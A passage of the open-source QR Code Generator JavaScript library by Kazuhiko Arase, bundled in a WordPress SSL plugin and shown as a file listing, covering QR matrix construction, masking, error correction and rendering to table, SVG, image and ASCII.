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<div class='alert alert-info'><strong>/home/tahkoom/public_html/wp-content/plugins/really-simple-ssl/assets/js/qrcode.js</strong></div><pre class='file-content'>//---------------------------------------------------------------------
//
// QR Code Generator for JavaScript
//
// Copyright (c) 2009 Kazuhiko Arase
//
// URL: http://www.d-project.com/
//
// Licensed under the MIT license:
//  http://www.opensource.org/licenses/mit-license.php
//
// The word 'QR Code' is registered trademark of
// DENSO WAVE INCORPORATED
//  http://www.denso-wave.com/qrcode/faqpatent-e.html
//
//---------------------------------------------------------------------
var qrcode = function() {

  //---------------------------------------------------------------------
  // qrcode
  //---------------------------------------------------------------------

  /**
   * qrcode
   * @param typeNumber 1 to 40
   * @param errorCorrectionLevel 'L','M','Q','H'
   */
  var qrcode = function(typeNumber, errorCorrectionLevel) {

    var PAD0 = 0xEC;
    var PAD1 = 0x11;

    var _typeNumber = typeNumber;
    var _errorCorrectionLevel = QRErrorCorrectionLevel[errorCorrectionLevel];
    var _modules = null;
    var _moduleCount = 0;
    var _dataCache = null;
    var _dataList = [];

    var _this = {};

    var makeImpl = function(test, maskPattern) {

      _moduleCount = _typeNumber * 4 + 17;
      _modules = function(moduleCount) {
        var modules = new Array(moduleCount);
        for (var row = 0; row &lt; moduleCount; row += 1) {
          modules[row] = new Array(moduleCount);
          for (var col = 0; col &lt; moduleCount; col += 1) {
            modules[row][col] = null;
          }
        }
        return modules;
      }(_moduleCount);

      setupPositionProbePattern(0, 0);
      setupPositionProbePattern(_moduleCount - 7, 0);
      setupPositionProbePattern(0, _moduleCount - 7);
      setupPositionAdjustPattern();
      setupTimingPattern();
      setupTypeInfo(test, maskPattern);

      if (_typeNumber &gt;= 7) {
        setupTypeNumber(test);
      }

      if (_dataCache == null) {
        _dataCache = createData(_typeNumber, _errorCorrectionLevel, _dataList);
      }

      mapData(_dataCache, maskPattern);
    };

    var setupPositionProbePattern = function(row, col) {

      for (var r = -1; r &lt;= 7; r += 1) {

        if (row + r &lt;= -1 || _moduleCount &lt;= row + r) continue;

        for (var c = -1; c &lt;= 7; c += 1) {

          if (col + c &lt;= -1 || _moduleCount &lt;= col + c) continue;

          if ( (0 &lt;= r &amp;&amp; r &lt;= 6 &amp;&amp; (c == 0 || c == 6) )
              || (0 &lt;= c &amp;&amp; c &lt;= 6 &amp;&amp; (r == 0 || r == 6) )
              || (2 &lt;= r &amp;&amp; r &lt;= 4 &amp;&amp; 2 &lt;= c &amp;&amp; c &lt;= 4) ) {
            _modules[row + r][col + c] = true;
          } else {
            _modules[row + r][col + c] = false;
          }
        }
      }
    };

    var getBestMaskPattern = function() {

      var minLostPoint = 0;
      var pattern = 0;

      for (var i = 0; i &lt; 8; i += 1) {

        makeImpl(true, i);

        var lostPoint = QRUtil.getLostPoint(_this);

        if (i == 0 || minLostPoint &gt; lostPoint) {
          minLostPoint = lostPoint;
          pattern = i;
        }
      }

      return pattern;
    };

    var setupTimingPattern = function() {

      for (var r = 8; r &lt; _moduleCount - 8; r += 1) {
        if (_modules[r][6] != null) {
          continue;
        }
        _modules[r][6] = (r % 2 == 0);
      }

      for (var c = 8; c &lt; _moduleCount - 8; c += 1) {
        if (_modules[6][c] != null) {
          continue;
        }
        _modules[6][c] = (c % 2 == 0);
      }
    };

    var setupPositionAdjustPattern = function() {

      var pos = QRUtil.getPatternPosition(_typeNumber);

      for (var i = 0; i &lt; pos.length; i += 1) {

        for (var j = 0; j &lt; pos.length; j += 1) {

          var row = pos[i];
          var col = pos[j];

          if (_modules[row][col] != null) {
            continue;
          }

          for (var r = -2; r &lt;= 2; r += 1) {

            for (var c = -2; c &lt;= 2; c += 1) {

              if (r == -2 || r == 2 || c == -2 || c == 2
                  || (r == 0 &amp;&amp; c == 0) ) {
                _modules[row + r][col + c] = true;
              } else {
                _modules[row + r][col + c] = false;
              }
            }
          }
        }
      }
    };

    var setupTypeNumber = function(test) {

      var bits = QRUtil.getBCHTypeNumber(_typeNumber);

      for (var i = 0; i &lt; 18; i += 1) {
        var mod = (!test &amp;&amp; ( (bits &gt;&gt; i) &amp; 1) == 1);
        _modules[Math.floor(i / 3)][i % 3 + _moduleCount - 8 - 3] = mod;
      }

      for (var i = 0; i &lt; 18; i += 1) {
        var mod = (!test &amp;&amp; ( (bits &gt;&gt; i) &amp; 1) == 1);
        _modules[i % 3 + _moduleCount - 8 - 3][Math.floor(i / 3)] = mod;
      }
    };

    var setupTypeInfo = function(test, maskPattern) {

      var data = (_errorCorrectionLevel &lt;&lt; 3) | maskPattern;
      var bits = QRUtil.getBCHTypeInfo(data);

      // vertical
      for (var i = 0; i &lt; 15; i += 1) {

        var mod = (!test &amp;&amp; ( (bits &gt;&gt; i) &amp; 1) == 1);

        if (i &lt; 6) {
          _modules[i][8] = mod;
        } else if (i &lt; 8) {
          _modules[i + 1][8] = mod;
        } else {
          _modules[_moduleCount - 15 + i][8] = mod;
        }
      }

      // horizontal
      for (var i = 0; i &lt; 15; i += 1) {

        var mod = (!test &amp;&amp; ( (bits &gt;&gt; i) &amp; 1) == 1);

        if (i &lt; 8) {
          _modules[8][_moduleCount - i - 1] = mod;
        } else if (i &lt; 9) {
          _modules[8][15 - i - 1 + 1] = mod;
        } else {
          _modules[8][15 - i - 1] = mod;
        }
      }

      // fixed module
      _modules[_moduleCount - 8][8] = (!test);
    };

    var mapData = function(data, maskPattern) {

      var inc = -1;
      var row = _moduleCount - 1;
      var bitIndex = 7;
      var byteIndex = 0;
      var maskFunc = QRUtil.getMaskFunction(maskPattern);

      for (var col = _moduleCount - 1; col &gt; 0; col -= 2) {

        if (col == 6) col -= 1;

        while (true) {

          for (var c = 0; c &lt; 2; c += 1) {

            if (_modules[row][col - c] == null) {

              var dark = false;

              if (byteIndex &lt; data.length) {
                dark = ( ( (data[byteIndex] &gt;&gt;&gt; bitIndex) &amp; 1) == 1);
              }

              var mask = maskFunc(row, col - c);

              if (mask) {
                dark = !dark;
              }

              _modules[row][col - c] = dark;
              bitIndex -= 1;

              if (bitIndex == -1) {
                byteIndex += 1;
                bitIndex = 7;
              }
            }
          }

          row += inc;

          if (row &lt; 0 || _moduleCount &lt;= row) {
            row -= inc;
            inc = -inc;
            break;
          }
        }
      }
    };

    var createBytes = function(buffer, rsBlocks) {

      var offset = 0;

      var maxDcCount = 0;
      var maxEcCount = 0;

      var dcdata = new Array(rsBlocks.length);
      var ecdata = new Array(rsBlocks.length);

      for (var r = 0; r &lt; rsBlocks.length; r += 1) {

        var dcCount = rsBlocks[r].dataCount;
        var ecCount = rsBlocks[r].totalCount - dcCount;

        maxDcCount = Math.max(maxDcCount, dcCount);
        maxEcCount = Math.max(maxEcCount, ecCount);

        dcdata[r] = new Array(dcCount);

        for (var i = 0; i &lt; dcdata[r].length; i += 1) {
          dcdata[r][i] = 0xff &amp; buffer.getBuffer()[i + offset];
        }
        offset += dcCount;

        var rsPoly = QRUtil.getErrorCorrectPolynomial(ecCount);
        var rawPoly = qrPolynomial(dcdata[r], rsPoly.getLength() - 1);

        var modPoly = rawPoly.mod(rsPoly);
        ecdata[r] = new Array(rsPoly.getLength() - 1);
        for (var i = 0; i &lt; ecdata[r].length; i += 1) {
          var modIndex = i + modPoly.getLength() - ecdata[r].length;
          ecdata[r][i] = (modIndex &gt;= 0)? modPoly.getAt(modIndex) : 0;
        }
      }

      var totalCodeCount = 0;
      for (var i = 0; i &lt; rsBlocks.length; i += 1) {
        totalCodeCount += rsBlocks[i].totalCount;
      }

      var data = new Array(totalCodeCount);
      var index = 0;

      for (var i = 0; i &lt; maxDcCount; i += 1) {
        for (var r = 0; r &lt; rsBlocks.length; r += 1) {
          if (i &lt; dcdata[r].length) {
            data[index] = dcdata[r][i];
            index += 1;
          }
        }
      }

      for (var i = 0; i &lt; maxEcCount; i += 1) {
        for (var r = 0; r &lt; rsBlocks.length; r += 1) {
          if (i &lt; ecdata[r].length) {
            data[index] = ecdata[r][i];
            index += 1;
          }
        }
      }

      return data;
    };

    var createData = function(typeNumber, errorCorrectionLevel, dataList) {

      var rsBlocks = QRRSBlock.getRSBlocks(typeNumber, errorCorrectionLevel);

      var buffer = qrBitBuffer();

      for (var i = 0; i &lt; dataList.length; i += 1) {
        var data = dataList[i];
        buffer.put(data.getMode(), 4);
        buffer.put(data.getLength(), QRUtil.getLengthInBits(data.getMode(), typeNumber) );
        data.write(buffer);
      }

      // calc num max data.
      var totalDataCount = 0;
      for (var i = 0; i &lt; rsBlocks.length; i += 1) {
        totalDataCount += rsBlocks[i].dataCount;
      }

      if (buffer.getLengthInBits() &gt; totalDataCount * 8) {
        throw 'code length overflow. ('
          + buffer.getLengthInBits()
          + '&gt;'
          + totalDataCount * 8
          + ')';
      }

      // end code
      if (buffer.getLengthInBits() + 4 &lt;= totalDataCount * 8) {
        buffer.put(0, 4);
      }

      // padding
      while (buffer.getLengthInBits() % 8 != 0) {
        buffer.putBit(false);
      }

      // padding
      while (true) {

        if (buffer.getLengthInBits() &gt;= totalDataCount * 8) {
          break;
        }
        buffer.put(PAD0, 8);

        if (buffer.getLengthInBits() &gt;= totalDataCount * 8) {
          break;
        }
        buffer.put(PAD1, 8);
      }

      return createBytes(buffer, rsBlocks);
    };

    _this.addData = function(data, mode) {

      mode = mode || 'Byte';

      var newData = null;

      switch(mode) {
      case 'Numeric' :
        newData = qrNumber(data);
        break;
      case 'Alphanumeric' :
        newData = qrAlphaNum(data);
        break;
      case 'Byte' :
        newData = qr8BitByte(data);
        break;
      case 'Kanji' :
        newData = qrKanji(data);
        break;
      default :
        throw 'mode:' + mode;
      }

      _dataList.push(newData);
      _dataCache = null;
    };

    _this.isDark = function(row, col) {
      if (row &lt; 0 || _moduleCount &lt;= row || col &lt; 0 || _moduleCount &lt;= col) {
        throw row + ',' + col;
      }
      return _modules[row][col];
    };

    _this.getModuleCount = function() {
      return _moduleCount;
    };

    _this.make = function() {
      if (_typeNumber &lt; 1) {
        var typeNumber = 1;

        for (; typeNumber &lt; 40; typeNumber++) {
          var rsBlocks = QRRSBlock.getRSBlocks(typeNumber, _errorCorrectionLevel);
          var buffer = qrBitBuffer();

          for (var i = 0; i &lt; _dataList.length; i++) {
            var data = _dataList[i];
            buffer.put(data.getMode(), 4);
            buffer.put(data.getLength(), QRUtil.getLengthInBits(data.getMode(), typeNumber) );
            data.write(buffer);
          }

          var totalDataCount = 0;
          for (var i = 0; i &lt; rsBlocks.length; i++) {
            totalDataCount += rsBlocks[i].dataCount;
          }

          if (buffer.getLengthInBits() &lt;= totalDataCount * 8) {
            break;
          }
        }

        _typeNumber = typeNumber;
      }

      makeImpl(false, getBestMaskPattern() );
    };

    _this.createTableTag = function(cellSize, margin) {

      cellSize = cellSize || 2;
      margin = (typeof margin == 'undefined')? cellSize * 4 : margin;

      var qrHtml = '';

      qrHtml += '&lt;table style=&quot;';
      qrHtml += ' border-width: 0px; border-style: none;';
      qrHtml += ' border-collapse: collapse;';
      qrHtml += ' padding: 0px; margin: ' + margin + 'px;';
      qrHtml += '&quot;&gt;';
      qrHtml += '&lt;tbody&gt;';

      for (var r = 0; r &lt; _this.getModuleCount(); r += 1) {

        qrHtml += '&lt;tr&gt;';

        for (var c = 0; c &lt; _this.getModuleCount(); c += 1) {
          qrHtml += '&lt;td style=&quot;';
          qrHtml += ' border-width: 0px; border-style: none;';
          qrHtml += ' border-collapse: collapse;';
          qrHtml += ' padding: 0px; margin: 0px;';
          qrHtml += ' width: ' + cellSize + 'px;';
          qrHtml += ' height: ' + cellSize + 'px;';
          qrHtml += ' background-color: ';
          qrHtml += _this.isDark(r, c)? '#000000' : '#ffffff';
          qrHtml += ';';
          qrHtml += '&quot;/&gt;';
        }

        qrHtml += '&lt;/tr&gt;';
      }

      qrHtml += '&lt;/tbody&gt;';
      qrHtml += '&lt;/table&gt;';

      return qrHtml;
    };

    _this.createSvgTag = function(cellSize, margin, alt, title) {

      var opts = {};
      if (typeof arguments[0] == 'object') {
        // Called by options.
        opts = arguments[0];
        // overwrite cellSize and margin.
        cellSize = opts.cellSize;
        margin = opts.margin;
        alt = opts.alt;
        title = opts.title;
      }

      cellSize = cellSize || 2;
      margin = (typeof margin == 'undefined')? cellSize * 4 : margin;

      // Compose alt property surrogate
      alt = (typeof alt === 'string') ? {text: alt} : alt || {};
      alt.text = alt.text || null;
      alt.id = (alt.text) ? alt.id || 'qrcode-description' : null;

      // Compose title property surrogate
      title = (typeof title === 'string') ? {text: title} : title || {};
      title.text = title.text || null;
      title.id = (title.text) ? title.id || 'qrcode-title' : null;

      var size = _this.getModuleCount() * cellSize + margin * 2;
      var c, mc, r, mr, qrSvg='', rect;

      rect = 'l' + cellSize + ',0 0,' + cellSize +
        ' -' + cellSize + ',0 0,-' + cellSize + 'z ';

      qrSvg += '&lt;svg version=&quot;1.1&quot; xmlns=&quot;http://www.w3.org/2000/svg&quot;';
      qrSvg += !opts.scalable ? ' width=&quot;' + size + 'px&quot; height=&quot;' + size + 'px&quot;' : '';
      qrSvg += ' viewBox=&quot;0 0 ' + size + ' ' + size + '&quot; ';
      qrSvg += ' preserveAspectRatio=&quot;xMinYMin meet&quot;';
      qrSvg += (title.text || alt.text) ? ' role=&quot;img&quot; aria-labelledby=&quot;' +
          escapeXml([title.id, alt.id].join(' ').trim() ) + '&quot;' : '';
      qrSvg += '&gt;';
      qrSvg += (title.text) ? '&lt;title id=&quot;' + escapeXml(title.id) + '&quot;&gt;' +
          escapeXml(title.text) + '&lt;/title&gt;' : '';
      qrSvg += (alt.text) ? '&lt;description id=&quot;' + escapeXml(alt.id) + '&quot;&gt;' +
          escapeXml(alt.text) + '&lt;/description&gt;' : '';
      qrSvg += '&lt;rect width=&quot;100%&quot; height=&quot;100%&quot; fill=&quot;white&quot; cx=&quot;0&quot; cy=&quot;0&quot;/&gt;';
      qrSvg += '&lt;path d=&quot;';

      for (r = 0; r &lt; _this.getModuleCount(); r += 1) {
        mr = r * cellSize + margin;
        for (c = 0; c &lt; _this.getModuleCount(); c += 1) {
          if (_this.isDark(r, c) ) {
            mc = c*cellSize+margin;
            qrSvg += 'M' + mc + ',' + mr + rect;
          }
        }
      }

      qrSvg += '&quot; stroke=&quot;transparent&quot; fill=&quot;black&quot;/&gt;';
      qrSvg += '&lt;/svg&gt;';

      return qrSvg;
    };

    _this.createDataURL = function(cellSize, margin) {

      cellSize = cellSize || 2;
      margin = (typeof margin == 'undefined')? cellSize * 4 : margin;

      var size = _this.getModuleCount() * cellSize + margin * 2;
      var min = margin;
      var max = size - margin;

      return createDataURL(size, size, function(x, y) {
        if (min &lt;= x &amp;&amp; x &lt; max &amp;&amp; min &lt;= y &amp;&amp; y &lt; max) {
          var c = Math.floor( (x - min) / cellSize);
          var r = Math.floor( (y - min) / cellSize);
          return _this.isDark(r, c)? 0 : 1;
        } else {
          return 1;
        }
      } );
    };

    _this.createImgTag = function(cellSize, margin, alt) {

      cellSize = cellSize || 2;
      margin = (typeof margin == 'undefined')? cellSize * 4 : margin;

      var size = _this.getModuleCount() * cellSize + margin * 2;

      var img = '';
      img += '&lt;img';
      img += '\u0020src=&quot;';
      img += _this.createDataURL(cellSize, margin);
      img += '&quot;';
      img += '\u0020width=&quot;';
      img += size;
      img += '&quot;';
      img += '\u0020height=&quot;';
      img += size;
      img += '&quot;';
      if (alt) {
        img += '\u0020alt=&quot;';
        img += escapeXml(alt);
        img += '&quot;';
      }
      img += '/&gt;';

      return img;
    };

    var escapeXml = function(s) {
      var escaped = '';
      for (var i = 0; i &lt; s.length; i += 1) {
        var c = s.charAt(i);
        switch(c) {
        case '&lt;': escaped += '&amp;lt;'; break;
        case '&gt;': escaped += '&amp;gt;'; break;
        case '&amp;': escaped += '&amp;amp;'; break;
        case '&quot;': escaped += '&amp;quot;'; break;
        default : escaped += c; break;
        }
      }
      return escaped;
    };

    var _createHalfASCII = function(margin) {
      var cellSize = 1;
      margin = (typeof margin == 'undefined')? cellSize * 2 : margin;

      var size = _this.getModuleCount() * cellSize + margin * 2;
      var min = margin;
      var max = size - margin;

      var y, x, r1, r2, p;

      var blocks = {
        '██': '█',
        '█ ': '▀',
        ' █': '▄',
        '  ': ' '
      };

      var blocksLastLineNoMargin = {
        '██': '▀',
        '█ ': '▀',
        ' █': ' ',
        '  ': ' '
      };

      var ascii = '';
      for (y = 0; y &lt; size; y += 2) {
        r1 = Math.floor((y - min) / cellSize);
        r2 = Math.floor((y + 1 - min) / cellSize);
        for (x = 0; x &lt; size; x += 1) {
          p = '█';

          if (min &lt;= x &amp;&amp; x &lt; max &amp;&amp; min &lt;= y &amp;&amp; y &lt; max &amp;&amp; _this.isDark(r1, Math.floor((x - min) / cellSize))) {
            p = ' ';
          }

          if (min &lt;= x &amp;&amp; x &lt; max &amp;&amp; min &lt;= y+1 &amp;&amp; y+1 &lt; max &amp;&amp; _this.isDark(r2, Math.floor((x - min) / cellSize))) {
            p += ' ';
          }
          else {
            p += '█';
          }

          // Output 2 characters per pixel, to create full square. 1 character per pixels gives only half width of square.
          ascii += (margin &lt; 1 &amp;&amp; y+1 &gt;= max) ? blocksLastLineNoMargin[p] : blocks[p];
        }

        ascii += '\n';
      }

      if (size % 2 &amp;&amp; margin &gt; 0) {
        return ascii.substring(0, ascii.length - size - 1) + Array(size+1).join('▀');
      }

      return ascii.substring(0, ascii.length-1);
    };

    _this.createASCII = function(cellSize, margin) {
      cellSize = cellSize || 1;

      if (cellSize &lt; 2) {
        return _createHalfASCII(margin);
      }

      cellSize -= 1;
      margin = (typeof margin == 'undefined')? cellSize * 2 : margin;

      var size = _this.getModuleCount() * cellSize + margin * 2;
      var min = margin;
      var max = size - margin;

      var y, x, r, p;

      var white = Array(cellSize+1).join('██');
      var black = Array(cellSize+1).join('  ');

      var ascii = '';
      var line = '';
      for (y = 0; y &lt; size; y += 1) {
        r = Math.floor( (y - min) / cellSize);
        line = '';
        for (x = 0; x &lt; size; x += 1) {
          p = 1;

          if (min &lt;= x &amp;&amp; x &lt; max &amp;&amp; min &lt;= y &amp;&amp; y &lt; max &amp;&amp; _this.isDark(r, Math.floor((x - min) / cellSize))) {
            p = 0;
          }

          // Output 2 characters per pixel, to create full square. 1 character per pixels gives only half width of square.
          line += p ? white : black;
        }

        for (r = 0; r &lt; cellSize; r += 1) {
          ascii += line + '\n';
        }
      }

      return ascii.substring(0, ascii.length-1);
    };

    _this.renderTo2dContext = function(context, cellSize) {
      cellSize = cellSize || 2;
      var length = _this.getModuleCount();
      for (var row = 0; row &lt; length; row++) {
        for (var col = 0; col &lt; length; col++) {
          context.fillStyle = _this.isDark(row, col) ? 'black' : 'white';
          context.fillRect(row * cellSize, col * cellSize, cellSize, cellSize);
        }
      }
    }

    return _this;
  };

  //---------------------------------------------------------------------
  // qrcode.stringToBytes
  //---------------------------------------------------------------------

  qrcode.stringToBytesFuncs = {
    'default' : function(s) {
      var bytes = [];
      for (var i = 0; i &lt; s.length; i += 1) {
        var c = s.charCodeAt(i);
        bytes.push(c &amp; 0xff);
      }
      return bytes;
    }
  };

  qrcode.stringToBytes = qrcode.stringToBytesFuncs['default'];

  //---------------------------------------------------------------------
  // qrcode.createStringToBytes
  //---------------------------------------------------------------------

  /**
   * @param unicodeData base64 string of byte array.
   * [16bit Unicode],[16bit Bytes], ...
   * @param numChars
   */
  qrcode.createStringToBytes = function(unicodeData, numChars) {

    // create conversion map.

    var unicodeMap = function() {

      var bin = base64DecodeInputStream(unicodeData);
      var read = function() {
        var b = bin.read();
        if (b == -1) throw 'eof';
        return b;
      };

      var count = 0;
      var unicodeMap = {};
      while (true) {
        var b0 = bin.read();
        if (b0 == -1) break;
        var b1 = read();
        var b2 = read();
        var b3 = read();
        var k = String.fromCharCode( (b0 &lt;&lt; 8) | b1);
        var v = (b2 &lt;&lt; 8) | b3;
        unicodeMap[k] = v;
        count += 1;
      }
      if (count != numChars) {
        throw count + ' != ' + numChars;
      }

      return unicodeMap;
    }();

    var unknownChar = '?'.charCodeAt(0);

    return function(s) {
      var bytes = [];
      for (var i = 0; i &lt; s.length; i += 1) {
        var c = s.charCodeAt(i);
        if (c &lt; 128) {
          bytes.push(c);
        } else {
          var b = unicodeMap[s.charAt(i)];
          if (typeof b == 'number') {
            if ( (b &amp; 0xff) == b) {
              // 1byte
              bytes.push(b);
            } else {
              // 2bytes
              bytes.push(b &gt;&gt;&gt; 8);
              bytes.push(b &amp; 0xff);
            }
          } else {
            bytes.push(unknownChar);
          }
        }
      }
      return bytes;
    };
  };

  //---------------------------------------------------------------------
  // QRMode
  //---------------------------------------------------------------------

  var QRMode = {
    MODE_NUMBER :    1 &lt;&lt; 0,
    MODE_ALPHA_NUM : 1 &lt;&lt; 1,
    MODE_8BIT_BYTE : 1 &lt;&lt; 2,
    MODE_KANJI :     1 &lt;&lt; 3
  };

  //---------------------------------------------------------------------
  // QRErrorCorrectionLevel
  //---------------------------------------------------------------------

  var QRErrorCorrectionLevel = {
    L : 1,
    M : 0,
    Q : 3,
    H : 2
  };

  //---------------------------------------------------------------------
  // QRMaskPattern
  //---------------------------------------------------------------------

  var QRMaskPattern = {
    PATTERN000 : 0,
    PATTERN001 : 1,
    PATTERN010 : 2,
    PATTERN011 : 3,
    PATTERN100 : 4,
    PATTERN101 : 5,
    PATTERN110 : 6,
    PATTERN111 : 7
  };

  //---------------------------------------------------------------------
  // QRUtil
  //---------------------------------------------------------------------

  var QRUtil = function() {

    var PATTERN_POSITION_TABLE = [
      [],
      [6, 18],
      [6, 22],
      [6, 26],
      [6, 30],
      [6, 34],
      [6, 22, 38],
      [6, 24, 42],
      [6, 26, 46],
      [6, 28, 50],
      [6, 30, 54],
      [6, 32, 58],
      [6, 34, 62],
      [6, 26, 46, 66],
      [6, 26, 48, 70],
      [6, 26, 50, 74],
      [6, 30, 54, 78],
      [6, 30, 56, 82],
      [6, 30, 58, 86],
      [6, 34, 62, 90],
      [6, 28, 50, 72, 94],
      [6, 26, 50, 74, 98],
      [6, 30, 54, 78, 102],
      [6, 28, 54, 80, 106],
      [6, 32, 58, 84, 110],
      [6, 30, 58, 86, 114],
      [6, 34, 62, 90, 118],
      [6, 26, 50, 74, 98, 122],
      [6, 30, 54, 78, 102, 126],
      [6, 26, 52, 78, 104, 130],
      [6, 30, 56, 82, 108, 134],
      [6, 34, 60, 86, 112, 138],
      [6, 30, 58, 86, 114, 142],
      [6, 34, 62, 90, 118, 146],
      [6, 30, 54, 78, 102, 126, 150],
      [6, 24, 50, 76, 102, 128, 154],
      [6, 28, 54, 80, 106, 132, 158],
      [6, 32, 58, 84, 110, 136, 162],
      [6, 26, 54, 82, 110, 138, 166],
      [6, 30, 58, 86, 114, 142, 170]
    ];
    var G15 = (1 &lt;&lt; 10) | (1 &lt;&lt; 8) | (1 &lt;&lt; 5) | (1 &lt;&lt; 4) | (1 &lt;&lt; 2) | (1 &lt;&lt; 1) | (1 &lt;&lt; 0);
    var G18 = (1 &lt;&lt; 12) | (1 &lt;&lt; 11) | (1 &lt;&lt; 10) | (1 &lt;&lt; 9) | (1 &lt;&lt; 8) | (1 &lt;&lt; 5) | (1 &lt;&lt; 2) | (1 &lt;&lt; 0);
    var G15_MASK = (1 &lt;&lt; 14) | (1 &lt;&lt; 12) | (1 &lt;&lt; 10) | (1 &lt;&lt; 4) | (1 &lt;&lt; 1);

    var _this = {};

    var getBCHDigit = function(data) {
      var digit = 0;
      while (data != 0) {
        digit += 1;
        data &gt;&gt;&gt;= 1;
      }
      return digit;
    };

    _this.getBCHTypeInfo = function(data) {
      var d = data &lt;&lt; 10;
      while (getBCHDigit(d) - getBCHDigit(G15) &gt;= 0) {
        d ^= (G15 &lt;&lt; (getBCHDigit(d) - getBCHDigit(G15) ) );
      }
      return ( (data &lt;&lt; 10) | d) ^ G15_MASK;
    };

    _this.getBCHTypeNumber = function(data) {
      var d = data &lt;&lt; 12;
      while (getBCHDigit(d) - getBCHDigit(G18) &gt;= 0) {
        d ^= (G18 &lt;&lt; (getBCHDigit(d) - getBCHDigit(G18) ) );
      }
      return (data &lt;&lt; 12) | d;
    };

    _this.getPatternPosition = function(typeNumber) {
      return PATTERN_POSITION_TABLE[typeNumber - 1];
    };

    _this.getMaskFunction = function(maskPattern) {

      switch (maskPattern) {

      case QRMaskPattern.PATTERN000 :
        return function(i, j) { return (i + j) % 2 == 0; };
      case QRMaskPattern.PATTERN001 :
        return function(i, j) { return i % 2 == 0; };
      case QRMaskPattern.PATTERN010 :
        return function(i, j) { return j % 3 == 0; };
      case QRMaskPattern.PATTERN011 :
        return function(i, j) { return (i + j) % 3 == 0; };
      case QRMaskPattern.PATTERN100 :
        return function(i, j) { return (Math.floor(i / 2) + Math.floor(j / 3) ) % 2 == 0; };
      case QRMaskPattern.PATTERN101 :
        return function(i, j) { return (i * j) % 2 + (i * j) % 3 == 0; };
      case QRMaskPattern.PATTERN110 :
        return function(i, j) { return ( (i * j) % 2 + (i * j) % 3) % 2 == 0; };
      case QRMaskPattern.PATTERN111 :
        return function(i, j) { return ( (i * j) % 3 + (i + j) % 2) % 2 == 0; };

      default :
        throw 'bad maskPattern:' + maskPattern;
      }
    };

    _this.getErrorCorrectPolynomial = function(errorCorrectLength) {
      var a = qrPolynomial([1], 0);
      for (var i = 0; i &lt; errorCorrectLength; i += 1) {
        a = a.multiply(qrPolynomial([1, QRMath.gexp(i)], 0) );
      }
      return a;
    };

    _this.getLengthInBits = function(mode, type) {

      if (1 &lt;= type &amp;&amp; type &lt; 10) {

        // 1 - 9

        switch(mode) {
        case QRMode.MODE_NUMBER    : return 10;
        case QRMode.MODE_ALPHA_NUM : return 9;
        case QRMode.MODE_8BIT_BYTE : return 8;
        case QRMode.MODE_KANJI     : return 8;
        default :
          throw 'mode:' + mode;
        }

      } else if (type &lt; 27) {

        // 10 - 26

        switch(mode) {
        case QRMode.MODE_NUMBER    : return 12;
        case QRMode.MODE_ALPHA_NUM : return 11;
        case QRMode.MODE_8BIT_BYTE : return 16;
        case QRMode.MODE_KANJI     : return 10;
        default :
          throw 'mode:' + mode;
        }

      } else if (type &lt; 41) {

        // 27 - 40

        switch(mode) {
        case QRMode.MODE_NUMBER    : return 14;
        case QRMode.MODE_ALPHA_NUM : return 13;
        case QRMode.MODE_8BIT_BYTE : return 16;
        case QRMode.MODE_KANJI     : return 12;
        default :
          throw 'mode:' + mode;
        }

      } else {
        throw 'type:' + type;
      }
    };

    _this.getLostPoint = function(qrcode) {

      var moduleCount = qrcode.getModuleCount();

      var lostPoint = 0;

      // LEVEL1

      for (var row = 0; row &lt; moduleCount; row += 1) {
        for (var col = 0; col &lt; moduleCount; col += 1) {

          var sameCount = 0;
          var dark = qrcode.isDark(row, col);

          for (var r = -1; r &lt;= 1; r += 1) {

            if (row + r &lt; 0 || moduleCount &lt;= row + r) {
              continue;
            }

            for (var c = -1; c &lt;= 1; c += 1) {

              if (col + c &lt; 0 || moduleCount &lt;= col + c) {
                continue;
              }

              if (r == 0 &amp;&amp; c == 0) {
                continue;
              }

              if (dark == qrcode.isDark(row + r, col + c) ) {
                sameCount += 1;
              }
            }
          }

          if (sameCount &gt; 5) {
            lostPoint += (3 + sameCount - 5);
          }
        }
      };

      // LEVEL2

      for (var row = 0; row &lt; moduleCount - 1; row += 1) {
        for (var col = 0; col &lt; moduleCount - 1; col += 1) {
          var count = 0;
          if (qrcode.isDark(row, col) ) count += 1;
          if (qrcode.isDark(row + 1, col) ) count += 1;
          if (qrcode.isDark(row, col + 1) ) count += 1;
          if (qrcode.isDark(row + 1, col + 1) ) count += 1;
          if (count == 0 || count == 4) {
            lostPoint += 3;
          }
        }
      }

      // LEVEL3

      for (var row = 0; row &lt; moduleCount; row += 1) {
        for (var col = 0; col &lt; moduleCount - 6; col += 1) {
          if (qrcode.isDark(row, col)
              &amp;&amp; !qrcode.isDark(row, col + 1)
              &amp;&amp;  qrcode.isDark(row, col + 2)
              &amp;&amp;  qrcode.isDark(row, col + 3)
              &amp;&amp;  qrcode.isDark(row, col + 4)
              &amp;&amp; !qrcode.isDark(row, col + 5)
              &amp;&amp;  qrcode.isDark(row, col + 6) ) {
            lostPoint += 40;
          }
        }
      }

      for (var col = 0; col &lt; moduleCount; col += 1) {
        for (var row = 0; row &lt; moduleCount - 6; row += 1) {
          if (qrcode.isDark(row, col)
              &amp;&amp; !qrcode.isDark(row + 1, col)
              &amp;&amp;  qrcode.isDark(row + 2, col)
              &amp;&amp;  qrcode.isDark(row + 3, col)
              &amp;&amp;  qrcode.isDark(row + 4, col)
              &amp;&amp; !qrcode.isDark(row + 5, col)
              &amp;&amp;  qrcode.isDark(row + 6, col) ) {
            lostPoint += 40;
          }
        }
      }

      // LEVEL4

      var darkCount = 0;

      for (var col = 0; col &lt; moduleCount; col += 1) {
        for (var row = 0; row &lt; moduleCount; row += 1) {
          if (qrcode.isDark(row, col) ) {
            darkCount += 1;
          }
        }
      }

      var ratio = Math.abs(100 * darkCount / moduleCount / moduleCount - 50) / 5;
      lostPoint += ratio * 10;

      return lostPoint;
    };

    return _this;
  }();

  //---------------------------------------------------------------------
  // QRMath
  //---------------------------------------------------------------------

  var QRMath = function() {

    var EXP_TABLE = new Array(256);
    var LOG_TABLE = new Array(256);

    // initialize tables
    for (var i = 0; i &lt; 8; i += 1) {
      EXP_TABLE[i] = 1 &lt;&lt; i;
    }
    for (var i = 8; i &lt; 256; i += 1) {
      EXP_TABLE[i] = EXP_TABLE[i - 4]
        ^ EXP_TABLE[i - 5]
        ^ EXP_TABLE[i - 6]
        ^ EXP_TABLE[i - 8];
    }
    for (var i = 0; i &lt; 255; i += 1) {
      LOG_TABLE[EXP_TABLE[i] ] = i;
    }

    var _this = {};

    _this.glog = function(n) {

      if (n &lt; 1) {
        throw 'glog(' + n + ')';
      }

      return LOG_TABLE[n];
    };

    _this.gexp = function(n) {

